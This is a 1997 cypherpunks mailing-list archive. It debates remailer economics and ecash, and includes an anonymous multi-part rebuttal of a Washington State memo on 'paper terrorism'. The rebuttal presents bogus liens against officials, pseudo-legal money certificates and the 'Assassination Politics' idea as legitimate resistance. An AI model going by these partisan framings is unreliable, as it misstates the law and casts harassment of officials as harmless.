at some point. How do you convince a bank that anonymous cash transactions
are in their best interest?

> I hope we are all assuming that The Enemy knows who is using
> remailers, at least at the moment.

If they do then the users aren't anonymous anymore and hence any 'security'
or 'privacy' they may derive is one of delusion.

> There's no hiding those telltale
> PGP messages sent to a certain short list of suspected remailer
> addresses.  Some day we will have good steganography and it won't be
> possible to tell who is using a remailer, but this is not the best
> problem to solve right now.

Stego won't be any harder to detect than a PGP encrypted message.

> >Can do what? Anonymity cracking or create a payment system that
> >allows for the intermediate parties to be paid but doesn't
> >over-burden the user? The point is not to have the poor end user have
> >to create a half- dozen payment arrangements to get chaining. It
> >becomes a real hassle to do at that point.
> 
> No it doesn't.  Watch carefully:
> 
> $remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
> $remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
> $remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
> $remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek money25cents";
> $remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
> $remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
> $remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
> $remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
> $remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
> $remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek money25cents reord post";
> $remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
> $remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
> $remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
> $remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix money25cents";
> $remailer{"medusa"} = "<medusa@weasel.owl.de> money25cents mix middle"
> $remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
> $remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
> $remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly money25cents hash ek";
> $remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
> $remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";

I guarantee that neither your mother or mine will look twice at that
gobbeldy-gook. Hell, I won't use it because I have to create such files
every damn time I have to send a message. Too much work, too much room for
errors. When you can arrange to chain remailers without the user having to
touch the above you will have a winner.

KISS

> See if you can figure out which remailers accept money and how much
> they accept.  Now, in figuring that out, did you do anything that
> would reveal your identity?  Do you think a simple program could
> handle the task?

Actualy, yes I did do something to reveal my identity. I have to pass that
entire list of chaining along to the first remailer who passes it along to
the second minus the first entry and so on. If I can grab a single remailer
in that chain I can back track because that remailer knows where that list
came from.

To really make chaining secure neither the user or the individual operators
should have a say in it.

> You might be.  I'm interested in smart people who want to protect
> their privacy.

Then they won't use remailers at all. A smart person is not going to trust
any 3rd party channel they don't have total control over. A smart person is
not going to get involved in a conflict in the first place. The situation is
sort of like the comparison between reasonable and un-reasonable men.
Progress is caused by the un-reasonable man. If the commercial remailer is
ever going to arise (which I doubt) it will be one of 'regular joe's' as
users and must be about as complicated as getting a coke from a machine
(which is a long way off currently).

> >This is the silliest thing I think I have heard so far in this
> >discussion....
> >...And my experience is that prices move up and people expect them to.
> 
> Mind your manners.

I am, that doesn't mean I can't call a spade a spade. I didn't say anything
about you personaly, deal with it.

> Then look around.  For the last few hundred years just about
> everything has been dropping in price.

Really? I suggest you look at newspapers from say the mid-60's and compare
them to now. Very few things will be anywhere close to where it was then in
price, and the vast majority will not be lower.

Bread went up, water went up, electricity went up, etc.

> And, in the computer and
> information industry in particular, prices drop like crazy all the
> time for decades, even when you adjust for inflation.  Buy memory
> recently?

No, prices don't drop the machines that used to cost the current price
aren't made anymore. Any entry level machine costs about $1,000 just like
it did 10 years ago. The difference is that you get a lot more hardware
and a new os. Again, a minor but important distinction.

Yes, I have bought memory recently - 64M as a matter of fact. The memory has
dropped in price because the new machines don't take it anymore or else
the motherboards with the new many-megs-required OS's won't work on 8M
anymore. Theres no mystery other than obsolescence at play. Try buying one
of the new 4G DRAM's....

> If you want to run a remailer and charge a fraction of a cent for each
> message, or for an account, or whatever, please be my guest.

I looked into it for several months about a year and a half ago. The result
was the current economic, social, and legal environment simply aren't going
to support such operations in the near future with anything like the
indipendance that we would like.

Hell, your the one offering $50 or somesuch for a commercial remailer. Take
that $50 and set up your own site. Nothing like experience to teach a hard
lesson. If you're right you should be making money in short order.

> >The key to anonyous remailers is not the cost per message but rather
> >the amount of traffic to be carried.  Anonymous remailers are beasts
> >of mass markets measured in millions of recipients.
> 
> That is obviously untrue.  Remailers are used by a small highly
> specialized market of perhaps a few hundred people.  Some day, if we
> do good work, there will be millions of users.

While remailers may be, commercial remailers still don't exist and are a
completely different beast than some philanthropic enterprise. If you don't
get the millions up front you won't be getting anyone. The other aspect you
seem to ignore consistently is not the cost to submit the original message
but the cost to send that message to the world, the real cost I might add.
The purpose of commercial remailers (and I suspect all remailers) is to
reach a mass market. If your market can't reach millions for pennies nobody
will use it because you can't give them what they want.

Whether its drugs, sex information, or political views the central party
must reach a large group to succeed.

> Can you think of any mass market which started out as a mass market?
> I can't think of a single one.

Once the pioneers worked out the technology: Cable television, music videos,
automobiles, air transport, bicycles, telephones.

> >But the system to post charges BETWEEN remailers must be pretty
> >consistent to be acceptable.
> 
> Untrue.  You just have to know what each remailer charges.  That's
> about as hard as knowing what services it offers or that it exists.

Only if you feel obliged to arrange payment between the remailers yourself,
which provides a link between remailers and you further eroding your
expectation of anonymity. The point, which you miss, is that the chaining
remailers should know nothing of the original user which your system fails
to do.

> >That is the key and it has NOT been discussed too any great
> >degree. That inter-remailer traffic must be anonymous also or else
> >traffic analysis can back-track.
> 
> I may be misreading this, but you do realize ecash is anonymous,
> right?  Nobody can tell who sent the money, just who received it.

ecash is anonymous but it is not an accepted standard between remailers, let
along commercial ones. Furthermore, under your system I as a user must
contact each remailer and arrange payment to some account. So we know not
only who received it but who sent it as well, otherwise how does the
remailer know to take your payment and apply it to your account and not
mine?. If we further accept your premise that mallet knows who is using those
remailers then we are completely devoid of anonymity.

> Perhaps you are arguing that The Enemy would notice that you withdrew
> a bunch of coins and then make a guess that all those remailers making
> deposits three minutes later are depositing your coins?  That is
> easily solved by generating the ASCII ecash certificates once a week
> or so and then pasting them into your messages when you send them.

I am arguing that under the current system the checks and balances are such
that true anonymity can't be attained on a scale that is commercialy
feasible.

> >It seems to me that the remailers need some sort of anonymous payment
> >server that is put in place for some other reason, that way they
> >don't have to deal with the justification issue.
> 
> What justification issue?  Ecash is available right now.  You don't
> have to justify it to anybody, just use it.

Really? How about explaining how I purchase a car or house anonymously with
ecash? I can't.

Also, you seem to have missed an important point. When we get a system where
anon remailers can survive we will have created an anonymous money laundry,
not something that a lot of people want or desire.

> Hopefully, once the cypherpunks start using it regularly, it will
> begin to catch on with people peripheral to the group, and then with
> everyone.

If this were true it would have already happend. The thousand or so people
on this list might be involved in the technology and its application, I
doubt that we will have any say in its eventual success.

> >> You are confusing one cost of doing business with the price the market
> >> will bear.
> >
> >How?
> 
> You seem to think that because the cost of transporting mail is
> inexpensive, the price for protecting somebody's identity can't be
> high.

First, you don't know what I think - ask questions don't make assumptions
(speaking of manners). Please keep your ad hominims at home.

What I am saying is that because the cost of individual mail is low I as a
commercial business trying to make a living off each of those emails can't
expect a lot from them, therefore I need a lot of them.

> >What I am saying is that physical mail and the system developed for
> >dealing with it went hand-in-hand. The design and advancement of the
> >Internet technology is not driven by email or it's technology. That
> >perhaps because of this difference perhaps we need to look at models
> >other than the postage one. It in fact may be coloring our perception
> >and a look at alternative models might help.
> 
> The only models that have been proposed so far require a lot of work
> and evangelism.  Ecash doesn't require much work, and it will be
> easier to evangelize.

ecash is not what I am talking about here. Which by the way will take a lot
of work to get people to use it as ubiquitously as needed by a commercial
remailer.

I am talking about the entire infrastructure that will be required to support
commercial remailers. What will be required is not clear to anyone involved
in the issues. I furthermore don't have any interest in religion (re
evangalism) but rather in running a business and making money. I don't want
to change your mind, I want you to spend your money with me (as an anon
remailer operator) with the security that no matter what you submit it can't
be traced back to you. Even your much vaunted ecash can't do that yet.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 29 Sep 1997 12:20:04 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Memo From Washington Gestapo Tyranny
In-Reply-To: <342EAA26.145F@dev.null>
Message-ID: <eHyRDe3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"A. B. Terroroist" <at@dev.null> writes:
>   I have a sick sense of humor which is apparently only appreciated by
> myself, since no one ever responds to me,

I, for some, enjoy your writings very much!!!1!!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Sep 1997 13:24:43 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailers and ecash (fwd)
Message-ID: <199709290525.AAA10918@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 29 Sep 1997 00:43:20 -0400
> From: "Robert A. Costner" <pooh@efga.org>
> Subject: Re: Remailers and ecash

> The first answer I got was so that remailer reliability could increase.
> The theory as I understood it was that remailers were run like a hobby, not
> a business, so the money would be an incentive to bring in professionalism.
>  So I proposed, and documented, that the minimum level to achieve this
> would be a $50K investment over a year's time.  This is in fact, more or
> less what the Cracker remailer takes to run.  Most of the resources are
> donated in some way, but this is their equivalent retail value.  Even so,
> with Monty's pricing structure and Cracker's current level of traffic it
> would be enormously profitable.

I have to disagree on the annual cost to run. Considering the load of
remailers a simple ISDN would be sufficient. With that instead of a T1 it
takes less than $1,000 a month to operate a machine full-time. Approximately
1/4 of your estimate. I agree further that remailers COULD make a profit
under current conditions IF the financial institutions accepted anonymous
transactions (let's not even get into the LEA's and tax agents) from both
source and destination; they don't. I personaly found the legal issues the
most daunting considering my income and cash reserves. It would not take
more than one or two nuisance suites to put a small operator out of the
game permanantly. One of the critical aspects of successful small business
operation is a stable financial environment, I don't think you can have that
visiting the lawyer every few weeks.

> In my opinion, and I've been known to be wrong, this is a seriously messed
> up comment.  A quarter per message is too much, much less a quarter per
> hop. A price of 1/100 of a penny per message is closer to a proper
> valuation.

This is larger than my guess at a fair market per msg value. Considering
your price does your remailer get enough traffic to pay your $50k a year?

> But the problem here is in the pricing model.  It should not be
> transactional unless to encourage the very casual user.  A pricing model
> should be flat rate.  One price for a month, or even a year's service.

Of coure it should be transactional and the only way to get it going full
speed is to grab the casual user. Consider that an email is a transaction,
it isn't like a phone line that may actualy handle many users over a given
time. Email has one source and one to many destinations. The problem with
flat rate is it underestimates the impact of large remailings when the
population is itself millions. Furthermore, under a flat rate model each
remailer in the chain gets less if the number of remailers grows. This runs
contrary to what the user wants for anonymity retention which is a lot of
links in the chain. The user should be the one to decide how many and how
much that is worth to them.

> The
> net is based on a peering price structure, not an inter-lata structure.
> Trying to compute or add charges at each hop is against the nature of
> information flow for the net.

It sounds to me like what you are saying is that since email (a one-time
event) is a service of the Internet, however the Internet (a long-term
structure of computers forming backbones with more transient leaf nodes) can
survive flat rate pricing because the limitations of a piece of hardware are
known and can be figured in. The number of users and the amount of remailing
can't necessarily be known before hand. Furthermore, assuming a commercial
model I would certainly have saturating my pipes a goal.

> There is some truth in this statement.  But there are also remailers run by
> a variety of companies such as hotmail, juno, and the like.  They encompass
> millions of users.  Millions of users who want a remailer, but will not
> tolerate the level of entry required for a Type-I or Mixmaster remailer.
> Until client software can be improved and made as easy to use as an
> integrated spelling checker, the "advanced" remailers will have no true
> market share.  (Oh, I forgot.  Most of the world uses email clients without
> integrated spell checkers.)

It further seems to me that to make that software simple and easy to use a
lot of 'decisions' have to be made for me. That indicates to me some sort of
standards and the implied organizations that set them for the remailers.

And contrary to what some would have you believe, those organizations and
standards do not necessarily imply great submissions on the part of the
participants indipendance. Consider the types of questions that needed to be
answered to get the CDR up and going. Such an organization would probably
suffice for the initial boot-strap.

    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Mon, 29 Sep 1997 12:57:51 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
In-Reply-To: <199709282107.XAA23460@basement.replay.com>
Message-ID: <3.0.3.32.19970929004320.03366024@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At first I thought some of the stuff Monty Cantsin was discussing was
interesting, but it has gotten out of hand.  I've asked the question
before, Why would remailer operators want to accept Ecash?  After seeing
the conflicting messages coming from Mr. Catsin, I to rephrase it, why does
*Mr Catsin* want remailer operators to use Ecash?

The first answer I got was so that remailer reliability could increase.
The theory as I understood it was that remailers were run like a hobby, not
a business, so the money would be an incentive to bring in professionalism.
 So I proposed, and documented, that the minimum level to achieve this
would be a $50K investment over a year's time.  This is in fact, more or
less what the Cracker remailer takes to run.  Most of the resources are
donated in some way, but this is their equivalent retail value.  Even so,
with Monty's pricing structure and Cracker's current level of traffic it
would be enormously profitable.

Then Mr. Cantsin seemed to go back to the all you need are some spare parts
theory of remailer operation.  Enormous profits of $200 per month, or even
$5,000 per year.  Well, Cracker handles close to 25% of worldwide remailer
traffic of it's kind[1].  And it's not much.  I would say this is due
mainly to the user interface.  Making remailers more difficult to use by
adding Ecash is not going to increase traffic significantly.

  >I recommend that people start pricing at a quarter per message per hop

In my opinion, and I've been known to be wrong, this is a seriously messed
up comment.  A quarter per message is too much, much less a quarter per
hop. A price of 1/100 of a penny per message is closer to a proper
valuation. But the problem here is in the pricing model.  It should not be
transactional unless to encourage the very casual user.  A pricing model
should be flat rate.  One price for a month, or even a year's service.  The
net is based on a peering price structure, not an inter-lata structure.
Trying to compute or add charges at each hop is against the nature of
information flow for the net.

  >We are talking about how to get a working payment system up for
  >remailers which gets us great service and provides privacy and
  >security.

The point I have never gotten past is how you expect a payment system to
change the level of service?  The next point I'm still shaking my head over
is what about remailer services is not up to your standards?  The only
thing I have heard you mention is latency, which is a feature programmed
into the remailers.  If anything, people would pay to add latency, not to
take latency away.

  >Remailers are used by a small highly
  >specialized market of perhaps a few hundred people.

There is some truth in this statement.  But there are also remailers run by
a variety of companies such as hotmail, juno, and the like.  They encompass
millions of users.  Millions of users who want a remailer, but will not
tolerate the level of entry required for a Type-I or Mixmaster remailer.
Until client software can be improved and made as easy to use as an
integrated spelling checker, the "advanced" remailers will have no true
market share.  (Oh, I forgot.  Most of the world uses email clients without
integrated spell checkers.)

FOOTNOTES:
[1] Cracker handles 27% of worldwide traffic based on adding all the stats
found at www.jpunix.com, though I would assume some remailers are not on
this list.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Mon, 29 Sep 1997 10:31:36 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: Memo From...(6 of 7)
Message-ID: <X/0EnZlSsxFyrbuGgYqCww==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



(Part 6 of 7)

> without prejudice, 

A legal term found in any law dictionary.

> UCC 1-207, 

A reference to some part of the Uniform Commercial Code.
Terrorism can now consist of citing existing law. Great.

> pro se, 

Defending onesself now earns the classification of "terrorism."

> sui juris, 

Acting of one's own rightm possessing full social and civil
rights, not being under any civil disability or power of 
another or guardianship, having the capacity to manage one's
own affairs... is now "terrorism?"

Since we have to presume that she is not prepared to sacrifice
these legal terms for her own use we have to think that this
is a redefinition of what is politically correct for a citizen-
unit to write in his own legal documents.

> united states, 

United States? As a common noun? Trying to demonize that one
is a dangerous ploy for bureaucrats and politicians who are
themselves largely functionally illiterate. "Make a mistake
in capitalization or punctuation and GO TO JAIL!" God, wouldn't 
your 5th grade spinster teacher, Miss Anderson, have just 
LOVED that? "Johnny, fail this weekly quiz and you're going
to the slammer for a month! Beverly, you're going to get the
chair if you go down for the third time!"

> Black's law.

Oh dear! The common everyday law dictionary. Of course only
nincompoop resisters quote Black's. Real Lawyers (tm) cite
case law, not dictionaries, because they've been let in on
the Great Secret (tm) that "law comes from the bench." No 
wonder we're in such trouble! We've been electing the wrong
asswipes all this time! We've been electing legislators,
thinking they make the law, when we should have been electing
judges. Geez.

> Analysis and Trends
>
> These anti-government extremists and supporters are 
> convinced citizens are being systematically oppressed 
> by an illegal, totalitarian government. 

Maybe that's because it's true.

> They believe the time for traditional political reform 
> has passed, 

Traditional political reform seems to mean "no political
reform." At least that's what it has meant all through
MY lifetime.

> that their freedom will only be secured by resistance 
> to the law and attacks against the government in several 
> forms.

Sadly, there is probably a rapidly increasing number of
ordinary citizen-units coming to this conclusion. To
understand why, all one must do is watch the government.

> Members of these groups bond to one another and lose 
> contact with other people who hold different opinions.  

Nice try! We've been to college, have we? We've taken
Psych 101, have we? We fancy ourselves adept at Psychwar,
do we?


(continued in Part 7)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Mon, 29 Sep 1997 10:29:52 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: Memo From...(4 of 7)
Message-ID: <xJ/4xun7fjqJWFe5OkZJyw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



(Part 4 of 7)

>*    Challenging judges in an effort to disqualify them on a
>     current case and to repeat their motions to disqualify 
>     these judges from hearing future cases by referencing 
>     the prior challenges.

Translation: "Doing the same kinds of things District Attorneys
and U.S. Attorneys do all the time, but in reverse. Not fair! 
Only we can use procedural tricks and traps because we are the 
only True Weasels!"

>*    Scheming to avoid paying state sales tax during a purchase
>     by declaring to be a non resident and then filing claims
>     with the state's risk management section if refused.

Translation: "There is some controversy over the definition of
'resident' and we will try to obfuscate by casting actions
taken by resisters as asinine attempts to deny the obvious."

>*    Disrupting  the  court  system  by  persuading  fellow  jail
>     inmates to defend themselves as Patriots, thus tying up more
>     of the courts and prosecutors time.

Translation: "Spreading their political ideas to other inmates
who then realize that they, too, may be political prisoners or
victims of unconstitutional and abusive actions taken by
officials. Having all these people wake up and begin asking
difficult questions and filing motions we can't brush under
the carpet all that easily is annoying our paid hit men and
taking up their time."

>*    Distributing the  extremist Citizens Handbook to 
>     foster jury nullification.

Translation: "Distributing completely factual and accurate
information about the powers of jurors to thwart our use of
bad laws."

>*    using the Internet to  promote  extremist  ideas  
>     such as "Assassination Politics" or predicting 
>     the date of death of a law enforcement officer or 
>     government official to win a cash price.

Translation: "Using the bad-awful-whipping-boy Internet to
promote the idea that public officials be held ultimately
accountable for their actions. Only one or two people of 
the 250 million or so in the U.S. actually suggested such
accountability but it's such a great scare tactic that we
are going to hold it up as an example of how evil any of
the other 249,999,998 are who resist total overnment in
any way."

>*    Filing bogus claims in small claims court.

Court TV (and its non-televised equivalents all over the
country) doesn't count, I suppose. The government filing
false claims against citizen-units for money they don't
actually owe doesn't count, I suppose.

>*    Requesting information from courts, government 
>     agencies, elected officials and businesses in 
>     the form of frivolous questions in an effort to 
>     consume employee's time.

Translation: "We are laying the groundwork to be able to pile
more charges on those we single out for suppression. Anyone
who is prosecuted for political reasons will, in the future,
also be prosecutable for ever having requested any information
of any court, government agency or elected official, just as
we now pile gratuitous 'mail fraud' and 'wire fraud' charges
onto most of the hapless victims of the criminal federal
just-us system. Or is that 'federal criminal justice system?' 
It's so darn hard to keep all these lies straight."

> Tell-tale signs of Patriot extremists can often be found 
> in their conversation or written documents. 

So can tell-tale signs of ass-wipe would-be tyrants, but 
that's another memo altogether.

(continued in Part 5)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Mon, 29 Sep 1997 11:17:02 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: Memo From... (1 of 7)
Message-ID: <SKIjEnxNa3l4Ua4jn/YhlQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



(Part 1 of 7)

The latest spin document on resistance to tyranny from The
People's Democratic Republic of Washington requires some
translation to be understood by normal human beings:

>                       State of Washington
>                     Washington State Patrol
>                 General Administration Building
>                         P.O. Box 42600
>                 Olympia, Washington 98504-2600
>                         (360) 753-6540
>
> ...
>
>FROM:     Representative Karen Schmidt, Chairman [sic]
>          Organized Crime Advisory Board
>
>SUBJECT:  Paper Terrorism

A contradiction in terms if there ever was one. "paper
terrorism," to be a meaningful term, would have to be
something like the dropping of 500 lb. bundles of paper
on unsuspecting, innocent people. "Terrorism" means
violent attacks on the populace to instill fear and
uncertainty. Unless someone is killing people with
paper, the subject of this document is pure propaganda.

> It has been brought to my attention that anti-
> government organizations have been utilizing a tactic 
> called "paper terrorism" to effectively disable government.

It is interesting that "they" can only think in terms of
"organizations." It may not dawn on them until it is too
late that the future is one of individual action. No
meetings to spy on. No informants. No membership lists or 
memos to seize.

"Called?" Called by whom? By government? Notice that this
is an example of the definition of a new term to suit those
attempting to suppress opposition. It is a standard tactic.

Note that there seems to be a key admission in the previous 
sentence. She seems to be saying that the tactics she is 
about to describe actually work.

> Commonly, public officials are  personally targeted.   

See various works on the history of the American Revolution
for perspective.

> This widespread practice is accomplished by overburdening 
> our communications, business, or judicial systems with 
> frivolous or repetitive petitions, property liens, and 
> small claims court actions.

I thought that those frivolous systems of the government
were already overburdened by "normal" business. So now 
thay wish to suppress those whose politics they don't
like by classifying their communications, business,
court petitions, liens and small claims actions as not
only frivolous, but "terrorism." Interesting.

>Enclosed is a brief explanation of this process.  If you feel you
>are a victim of "paper terrorism," I encourage you to contact the
>Washington State  Patrol, Organized  Crime Intelligence  Unit, in
>Olympia at (360) 753-3277, for assistance.

Note that "Intelligence" in law enforcement means keeping
files and lists of names. It means prejudicing victims in
subsequent actions and proceedings. It means targeting
victims for their efforts at 1st Amendment expression and
defending themselves in administrative and judicial
proceedings.

(continued in Part 2)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Mon, 29 Sep 1997 13:56:35 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: Memo From...(7 of 7)
Message-ID: <oEeFRZ4OG9l1HM/KwYbu7A==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



(Part 7 of 7)

> The isolation works to reinforce their views, which in 
> turn gives them new purpose.

Translation: "We think we have a really, really clever
protoargument here for nullifying the right to peaceably
assemble. If we can characterize the resisters as nut
cases we can make the argument that they cannot be allowed
the right to assemble because they reinforce each other's
illness. Isn't that neat-o?"

>This new purpose may take ordinary ideas to extremes, rationalize
>their problems into blaming government, and cause members to
>compete with each other to make stronger statements.

Translation: "Just as happened in the 1770's. We can't have anything like THAT happening here and now, can we? That was THEN, this is NOW! SHUT UP and SIT DOWN!"

> Trend and Incident Reporting
>
> If you become victimized by paper terrorism, contact the
> Washington State Patrol Organized Crime Intelligence Unit at
> (360) 753-3277, extension 121. All acts reaching a criminal
> level should be referred to your local law enforcement agency or
> prosecutor's office.

She never mentioned "Paper Terrorism" perpetrated by government
agencies, did she? Would anyone care to hazard a guess as to
the relative magnitude of government victimizing citizen-units
vs citizen-units snapping at the heels of government by means 
of the tactics she lists above?  1,000-to-1?  100,000-to-1?

Karen's definition of what constitutes "Paper Terrorism" is,
basically, anything in the way of communication, court 
pleadings, cases, liens, etc. that the government doesn't 
like. 

If she wants to fly with a subjective definition then
she can't very well argue against the subjective view of
citizen-units who feel they are being terrorized by numerous
and multitudinous, often false or frivolous communications,
court pleadings, suits, charges, liens, seizures, convictions,
sentences, fines, etc. Their subjective views are at least as
valid as Karen's or the government's.

(She's an elected ass-wipe, but she's OUR elected ass-wipe!
If we want to elect someone on the Totalitarian ticket, that's
our right. There's no law that says a Representative has to
represent our interests.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Mon, 29 Sep 1997 14:57:22 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Remailers and ecash (fwd)
In-Reply-To: <199709290525.AAA10918@einstein.ssz.com>
Message-ID: <3.0.3.32.19970929022928.036cc6d4@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 12:25 AM 9/29/97 -0500, Jim Choate wrote:
>> From: "Robert A. Costner" <pooh@efga.org>
>> So I proposed, and documented, that the minimum level to achieve this
>> would be a $50K investment over a year's time.  This is in fact, more or
>> less what the Cracker remailer takes to run.
>
>I have to disagree on the annual cost to run. Considering the load of
>remailers a simple ISDN would be sufficient.

Sure.  You can run a remailer on whatever bandwidth, and under whatever
conditions you choose.  When I did a breakdown of the pricing, I simply put
forth what Cracker has behind it, not the minimum required.  But with an
ISDN line, you  then have to have a location to house it, so you in theory
require rent.  You also add one more thing in the loop that is subject to
failure.

The winsock remailer demonstrates that a remailer can run on a 28.8K PPP
connection, part time.  Remailers never have been bandwidth intensive.

An advantage of the 10MB connection for Cracker is that when those several
hundred megabyte mailbombs, and thousands of addresses to the same location
come in, they can be discarded faster than with a 64K ISDN connection.

In reality, Cracker runs with whatever resources have been made available
to us.  It turns out we were offered a spare 10MB connection before we
offered a spare 64K connection. And interestingly enough, the true cost of
the 10MB connection is less than the 64K ISDN connection would be.  There
are definite advantages to a colocated machine even if it is what we are
"stuck with".


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Mon, 29 Sep 1997 14:02:11 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: Memo From...(3 of 7)
Message-ID: <WEz11DG7+YXoq8sEw7sGsA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



(Part 3 of 7)

> Paper terrorism has grown from a trend to a full scale 
> tactic used upon businesses, private individuals, 
> government services and elected officials.

Translation: "There are signs the resistance is growing and
becoming widespread."

>Background
>
>Paper terrorism is designed to clog government services with
>meaningless requests which consume time and disrupt schedules.
>In the private sector paper terrorism is an attempt to extort
>money, goods or services. 

As if the other requests they would like to be handling are
not meaningless? Let's face it: Except as it provides them
job security, bureaucrats regard all requests of any kind
from citizen-units as meaningless, consumptive of time and
disruptive of schedules. Nor can a government that is
increasingly jailing its citizen-units and seizing their
property without just cause or due process make even a
thin claim to be concerned about "the private sector."

> Some examples of paper terrorism activities:
>
>*    Bogus liens  placed upon  personal  property  of  government
>     officials and private individuals.

Translation: "Last-ditch attempts to make officials accountable
for their tyrranical actions. When citizen-units have been
outrageously damaged by unaccountable officials they sometimes
resort to filing liens against those responsible."

>*    Frivolous lawsuits filed in state and federal courts against
>     businesses and government entices [sic].

Translation: "Lawsuits with which those in power disagree." 

If it doesn't muss their hair they could care less if you 
sue someone for serving you hot coffee that's advertized as 
hot coffee or sue the manufacturer of a machine that has 
passed through 30 years of ownership and maintenance of 
dozens of third parties just because you were stupid enough 
to put your fingers in the gears. But sue a bureaucrat for 
being stupid, arrogant, abusive, vindictive and destructive 
of your rights and watch out! That's FRIVOLOUS! Apparently 
it's also now "terrorism."

>*    Drafting and passing counterfeit bank checks and other
>     fraudulent negotiable instruments aimed at defrauding 
>     the financial community and businesses.

Translation: "Devising well-researched instruments such as 
Public Order Money Certificates, payable the very moment 
lawful money is put back into circulation." 

She would have us think that resisters are out there 
writing bad checks, something only the government is 
allowed to do with impunity.

>*    Common Law Courts that issue homemade subpoenas 
>     to citizens, businesses and government officials.

Homemade? That's cute. Various common law entities have been 
created by various folk in the last 10-15 years in desperate
attempts to put SOMETHING in place that would function
lawfully and constitutionally. A few of those have been on 
the fringe, and those are the only ones that will ever be
cited as examples, of course. Never mind that all the 
townships and other little political units all over the
country were formed pretty much the same way. "That was
THEN and this is NOW and WE ARE IN CHARGE!  SHUT UP and SIT 
DOWN!" Don't you love government as we head into the 21st
